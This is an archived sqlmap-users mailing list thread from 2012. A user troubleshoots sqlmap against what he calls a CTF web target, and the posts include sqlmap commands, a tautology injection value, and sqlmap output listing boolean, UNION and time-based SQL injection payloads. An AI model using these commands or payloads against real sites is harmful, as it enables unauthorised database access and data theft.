Re: [sqlmap-users] I am not finding table names from db names with sqlmap..is there any idea?

SourceForge Headquarters 1320 Columbia Street Suite 310 San Diego, CA 92101 +1 (858) 422-6466

Okay I resolved..:)
Thanks a lot Chris and Miroslav...I resolved this problem..:)
not sqlmap 1.0 but r4766
not sqlmap 0.9 but r5022
it should be 1.0 and r5022

Thanks so much again:)
Best Regards


27 Nisan 2012 20:42 tarihinde Chris Oakley <chr...@gm...>yazdı:

> Hi
>
> Just thought I'd point out that it looks like you're running 0.9 stable
> and not the 1.0 latest repository version.
>
> Regards
>
> Chris
>
>
> 2012/4/27 Fırat Celal Erdik <fc....@gm...>
>
>> Hi Miroslav,
>> First thanks a lot for your fast reply.. I found  this value( *38' OR
>> '38'='38 )*  from w3af output.you know too,w3af is a vulnerability
>> scanner for web application.I get this value from w3af.And I attached a
>> w3af screenshot about this vulnerability.This is a boolean-based sql
>> injection..
>>
>> When I was give this value(*38' OR '38'='38*) to "kelime" parameter
>> manually in sqlmap r4766 revision, I had below  output for enumurating
>> database names.
>>
>>  *root@pamuksekeri-pc:/pentest/database/sqlmap# ./sqlmap.py -u
>> http://level4.hack2net.com/projects.php --forms --dbs*
>> *.....*
>> *.....*
>> *POST http://level4.hack2net.com:80/projects.php?form=ara*
>> *POST data: kelime=&tur=1&aramayap=Ara*
>> *do you want to test this form? [Y/n/q] *
>> *> y*
>> *
>> *
>> *.....*
>> *.....*
>> *Edit POST data [default: kelime=&tur=1&aramayap=Ara] (Warning: blank
>> fields detected): kelime=38' OR '38'='38*
>> *.....*
>> *.....*
>> *
>> *
>> *web application technology: PHP 5.3.5*
>> *back-end DBMS: MySQL 5.0.11*
>> *[17:27:54] [INFO] fetching database names*
>> *available databases [4]:*
>> *[*] ctf2*
>> *[*] information_schema*
>> *[*] mysql*
>> *[*] test*
>>
>> After this database names enumuration, I give below command for
>> enumurating table names but sqlmqp didnt find any table names:
>>
>> *root@pamuksekeri-pc:/pentest/database/sqlmap# ./sqlmap.py -u
>> http://level4.hack2net.com/projects.php --forms -D ctf2 --tables*
>> *.....*
>> *.....*
>> *POST http://level4.hack2net.com:80/projects.php?form=ara*
>> *POST data: kelime=&tur=1&aramayap=Ara*
>> *do you want to test this form? [Y/n/q] *
>> *> y*
>> *Edit POST data [default: kelime=&tur=1&aramayap=Ara] (Warning: blank
>> fields detected): kelime=38' OR '38'='38*
>> *.....*
>> *.....*
>> but sqlmap didnt any table names,it passed second form.
>>
>> I updated to sqlmap r5022 revision now..but I didnt get any database
>> names now:) output is below.
>>
>> *root@pamuksekeri-pc:/home/pamuksekeri/Desktop/sqlmap# ./sqlmap.py -u
>> http://level4.hack2net.com/projects.php --forms --dbs*
>>
>>     sqlmap/0.9 - automatic SQL injection and database takeover tool
>>     http://sqlmap.sourceforge.net
>>
>> [*] starting at: 19:46:09
>>
>> [19:46:12] [INFO] testing connection to the target url
>> [19:46:21] [INFO] searching for forms
>> [19:46:22] [INFO] sqlmap got a total of 2 targets
>> [#1] form:
>> POST http://level4.hack2net.com:80/projects.php?form=ara
>> POST data: kelime=&tur=1&aramayap=Ara
>> do you want to test this form? [Y/n/q]
>> > y
>> *Edit POST data [default: kelime=&tur=1&aramayap=Ara] (Warning: blank
>> fields detected): kelime=38' OR '38'='38&tur=4&aramayap=Ara*
>> [19:47:31] [INFO] using '/home/pamuksekeri/Desktop/sqlmap/output/
>> level4.hack2net.com/session' as session file
>> [19:47:50] [INFO] testing if the url is stable, wait a few seconds
>> [19:47:54] [INFO] url is stable
>> [19:47:54] [INFO] testing if POST parameter 'tur' is dynamic
>> [19:47:59] [INFO] confirming that POST parameter 'tur' is dynamic
>> [19:48:00] [INFO] POST parameter 'tur' is dynamic
>> [19:48:01] [WARNING] heuristic test shows that POST parameter 'tur' might
>> not be injectable
>> [19:48:01] [INFO] testing sql injection on POST parameter 'tur'
>> [19:48:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> clause'
>> [19:48:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING
>> clause'
>> [19:48:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING
>> clause'
>> [19:48:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
>> WHERE or HAVING clause'
>> [19:48:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING
>> clause (XMLType)'
>> [19:48:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> [19:48:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
>> [19:48:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
>> [19:48:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> [19:48:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
>> [19:48:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
>> [19:48:56] [INFO] testing 'Oracle AND time-based blind'
>> [19:49:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> [19:49:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
>> [19:49:49] [WARNING] using unescaped version of the test because of zero
>> knowledge of the back-end DBMS
>> [19:50:51] [WARNING] POST parameter 'tur' is not injectable
>> [19:50:51] [INFO] testing if POST parameter 'aramayap' is dynamic
>> [19:50:52] [WARNING] POST parameter 'aramayap' is not dynamic
>> [19:50:53] [WARNING] heuristic test shows that POST parameter 'aramayap'
>> might not be injectable
>> [19:50:53] [INFO] testing sql injection on POST parameter 'aramayap'
>> [19:50:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> clause'
>> [19:51:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING
>> clause'
>> [19:51:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING
>> clause'
>> [19:51:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
>> WHERE or HAVING clause'
>> [19:51:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING
>> clause (XMLType)'
>> [19:51:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> [19:51:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
>> [19:51:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
>> [19:51:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> [19:51:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
>> [19:51:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
>> [19:51:56] [INFO] testing 'Oracle AND time-based blind'
>> [19:52:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> [19:52:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
>> [19:52:49] [WARNING] using unescaped version of the test because of zero
>> knowledge of the back-end DBMS
>> [19:53:47] [CRITICAL] connection timed out to the target url or proxy,
>> sqlmap is going to retry the request
>> [19:54:04] [WARNING] POST parameter 'aramayap' is not injectable
>> [19:54:04] [INFO] testing if GET parameter 'form' is dynamic
>> [19:54:06] [WARNING] GET parameter 'form' is not dynamic
>> [19:54:07] [WARNING] heuristic test shows that GET parameter 'form' might
>> not be injectable
>> [19:54:07] [INFO] testing sql injection on GET parameter 'form'
>> [19:54:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> clause'
>> [19:54:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING
>> clause'
>> [19:54:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING
>> clause'
>> [19:55:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
>> WHERE or HAVING clause'
>> [19:55:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING
>> clause (XMLType)'
>> [19:55:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> [19:55:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
>> [19:55:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
>> [19:55:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> [19:55:30] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
>> [19:55:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
>> [19:55:39] [INFO] testing 'Oracle AND time-based blind'
>> [19:55:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> [19:57:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
>> [19:57:05] [WARNING] using unescaped version of the test because of zero
>> knowledge of the back-end DBMS
>> [19:57:53] [WARNING] GET parameter 'form' is not injectable
>> [19:57:54] [ERROR] all parameters are not injectable, try to increase
>> --level/--risk values to perform more tests. Rerun without providing the
>> --technique switch. Give it a go with the --text-only switch if the target
>> page has a low percentage of textual content (~22.06% of page content is
>> text), skipping to the next form
>> [#2] form:
>> POST http://level4.hack2net.com:80/projects.php
>> POST data: Ara=Ara
>> do you want to test this form? [Y/n/q]
>> > n
>>
>> [*] shutting down at: 20:04:22
>>
>> And then I passed with enter without editing post data in this command.
>> output is below.(in revision  r5022)
>>
>> *root@pamuksekeri-pc:/home/pamuksekeri/Desktop/sqlmap# ./sqlmap.py -u
>> http://level4.hack2net.com/projects.php --forms --dbs*
>>
>>     sqlmap/0.9 - automatic SQL injection and database takeover tool
>>     http://sqlmap.sourceforge.net
>>
>> [*] starting at: 20:04:31
>>
>> [20:04:32] [INFO] testing connection to the target url
>>  [20:04:39] [INFO] searching for forms
>> [20:04:40] [INFO] sqlmap got a total of 2 targets
>> [#1] form:
>> POST http://level4.hack2net.com:80/projects.php?form=ara
>> POST data: kelime=&tur=1&aramayap=Ara
>> do you want to test this form? [Y/n/q]
>> > y
>> *Edit POST data [default: kelime=&tur=1&aramayap=Ara] (Warning: blank
>> fields detected): *
>> do you want to fill blank fields with random values? [Y/n] y
>> [20:04:46] [INFO] using '/home/pamuksekeri/Desktop/sqlmap/output/
>> level4.hack2net.com/session' as session file
>> [20:04:48] [INFO] testing if the url is stable, wait a few seconds
>> [20:04:50] [INFO] url is stable
>> [20:04:50] [INFO] testing if POST parameter 'kelime' is dynamic
>> [20:04:52] [WARNING] POST parameter 'kelime' is not dynamic
>> [20:04:54] [WARNING] heuristic test shows that POST parameter 'kelime'
>> might not be injectable
>> [20:04:54] [INFO] testing sql injection on POST parameter 'kelime'
>> [20:04:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
>> clause'
>> [20:05:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING
>> clause'
>> [20:05:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING
>> clause'
>> [20:05:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based -
>> WHERE or HAVING clause'
>> [20:05:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING
>> clause (XMLType)'
>> [20:05:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
>> [20:05:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
>> [20:05:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
>> [20:05:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
>> [20:05:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
>> [20:06:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
>> [20:06:05] [INFO] testing 'Oracle AND time-based blind'
>> [20:06:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
>> [20:06:21] [CRITICAL] unable to connect to the target url or proxy,
>> sqlmap is going to retry the request
>> [20:07:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
>> [20:07:15] [WARNING] using unescaped version of the test because of zero
>> knowledge of the back-end DBMS
>> *[20:08:07] [WARNING] POST parameter 'kelime' is not injectable*
>>
>> sqlmap said, kelime parameter is not vulnerable :) why ?? I know this
>> parameter vulnerable..because other competitors in CTF exploited this
>> vulnerability and got all data in database :) w3af outputs says this
>> parameter vulnerable
>>
>> How can I find rihgt vulnerable point in http://level4.hack2net.com/ and
>> exploit it successful.If you have any time and help me about this topic, I
>> will so happy :)
>>
>> Thanks a lot again.
>> Best Regards
>>
>>
>> 27 Nisan 2012 16:17 tarihinde Miroslav Stampar <
>> mir...@gm...> yazdı:
>>
>> Hi Firat.
>>>
>>> First of all please always keep your sqlmap up to date. Current revision
>>> is r5022 and you are running r4766.
>>>
>>> Second, could you please explain how did you get "*OR '38'='38'"*inside those payloads. We already have mechanisms to prevent this kind of
>>> "user behavior" but you've obviously circumvented that somehow (--prefix or
>>> maybe you've entered that one manually inside form search prompts). Thing
>>> is that OR A=A is never a smart thing to do inside a SQL injection tool(s).
>>> That's simply because OR 1=1 always results in TRUE potentially screwing
>>> user with false results.
>>>
>>> Third, it would be great if you could send database names you've
>>> retrieved. It's quite possible that there are some permission problems you
>>> are experiencing around system "mysql" database. Also, you are maybe
>>> experiencing permission problems when accessing "information_schema"
>>> database for retrieving identifier names.
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>>
>>> 2012/4/27 Fırat Celal Erdik <fc....@gm...>
>>>
>>>> Hi,
>>>> is there anybody help me about a mysql boolean based sql injection
>>>> exploitation with sqlmap..I found database names with sqlmap but I didnt
>>>> find any tables from any database..I dont want to use for finding table
>>>> names from a common table names file.. So, how can I take full table names
>>>> with sqlmap or another tool..I tried havij but I can not find any table
>>>> name with it ..is there any idea ?
>>>>
>>>> I had this error on sqlmap :
>>>>
>>>> *./sqlmap.py -u http://level4.hack2net.com/projects.php --forms -D
>>>> mysql --tables*
>>>> *
>>>> *
>>>> *    sqlmap/1.0-dev (r4766) - automatic SQL injection and database
>>>> takeover tool*
>>>> *    http://www.sqlmap.org*
>>>> *
>>>> *
>>>> *[!] legal disclaimer: usage of sqlmap for attacking targets without
>>>> prior mutual consent is illegal. It is the end user's responsibility to
>>>> obey all applicable local, state and federal laws. Authors assume no
>>>> liability and are not responsible for any misuse or damage caused by this
>>>> program*
>>>> *
>>>> *
>>>> *[*] starting at 15:01:42*
>>>> *
>>>> *
>>>> *[15:01:42] [INFO] testing connection to the target url*
>>>> *[15:01:43] [INFO] searching for forms*
>>>> *[15:01:43] [INFO] sqlmap got a total of 2 targets*
>>>> *[#1] form:*
>>>> *POST http://level4.hack2net.com:80/projects.php?form=ara*
>>>> *POST data: kelime=&tur=1&aramayap=Ara*
>>>> *do you want to test this form? [Y/n/q] *
>>>> *> y*
>>>> *Edit POST data [default: kelime=&tur=1&aramayap=Ara] (Warning: blank
>>>> fields detected): *
>>>> *do you want to fill blank fields with random values? [Y/n] y*
>>>> *[15:01:50] [INFO] using '/pentest/database/sqlmap/output/
>>>> level4.hack2net.com/session' as session file*
>>>> *[15:01:50] [INFO] resuming injection data from session file*
>>>> *[15:01:50] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session
>>>> file*
>>>> *[15:01:50] [INFO] using
>>>> '/pentest/database/sqlmap/output/results-04272012_0301pm.csv' as results
>>>> file*
>>>> *sqlmap identified the following injection points with a total of 0
>>>> HTTP(s) requests:*
>>>> *---*
>>>> *Place: POST*
>>>> *Parameter: kelime*
>>>> *    Type: boolean-based blind*
>>>> *    Title: AND boolean-based blind - WHERE or HAVING clause*
>>>> *    Payload: kelime=38' OR '38'='38' AND 5116=5116 AND
>>>> 'Hbnf'='Hbnf&tur=4&aramayap=Ara*
>>>> *
>>>> *
>>>> *    Type: UNION query*
>>>> *    Title: MySQL UNION query (NULL) - 5 columns*
>>>> *    Payload: kelime=38' OR '38'='38' UNION ALL SELECT
>>>> CONCAT(0x3a6e656f3a,0x65594a514b5846697976,0x3a776f673a), NULL, NULL, NULL,
>>>> NULL# AND 'ecra'='ecra&tur=4&aramayap=Ara*
>>>> *
>>>> *
>>>> *    Type: AND/OR time-based blind*
>>>> *    Title: MySQL > 5.0.11 AND time-based blind*
>>>> *    Payload: kelime=38' OR '38'='38' AND SLEEP(5) AND
>>>> 'mlpI'='mlpI&tur=4&aramayap=Ara*
>>>> *---*
>>>> *
>>>> *
>>>> *do you want to exploit this SQL injection? [Y/n] y*
>>>> *[15:01:56] [INFO] the back-end DBMS is MySQL*
>>>> *
>>>> *
>>>> *web application technology: PHP 5.3.5*
>>>> *back-end DBMS: MySQL 5.0.11*
>>>> *[15:01:56] [INFO] fetching tables for database: mysql*
>>>> *[15:01:56] [INFO] fetching number of tables for database 'mysql'*
>>>> *[15:01:56] [WARNING] running in a single-thread mode. Please consider
>>>> usage of option '--threads' for faster data retrieval*
>>>> *[15:01:56] [INFO] retrieved: *
>>>> *[15:01:58] [WARNING] unable to retrieve the number of tables for
>>>> database 'mysql'*
>>>> *[15:01:58] [ERROR] unable to retrieve the table names for any database
>>>> *
>>>> *do you want to use common table existence check? [Y/n/q] *
>>>>
>>>> Thanks a lot..
>>>>
>>>> --
>>>> *Fırat Celal Erdik
>>>> Security Specialist, Certified Ethical Hacker - C|EH**
>>>> http://www.networkpentest.net*
>>>>
>>>>
>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> Live Security Virtual Conference
>>>> Exclusive live event will cover all the ways today's security and
>>>> threat landscape has changed and how IT managers can respond.
>>>> Discussions
>>>> will include endpoint security, mobile security and the latest in
>>>> malware
>>>> threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>> sql...@li...
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>
>>>>
>>>
>>>
>>> --
>>> Miroslav Stampar
>>> http://about.me/stamparm
>>>
>>
>>
>>
>> --
>> *Fırat Celal Erdik
>> Security Specialist, Certified Ethical Hacker - C|EH**
>> http://www.networkpentest.net*
>>
>>
>>
>>
>> ------------------------------------------------------------------------------
>> Live Security Virtual Conference
>> Exclusive live event will cover all the ways today's security and
>> threat landscape has changed and how IT managers can respond. Discussions
>> will include endpoint security, mobile security and the latest in malware
>> threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>


-- 
*Fırat Celal Erdik
Security Specialist, Certified Ethical Hacker - C|EH**
http://www.networkpentest.net*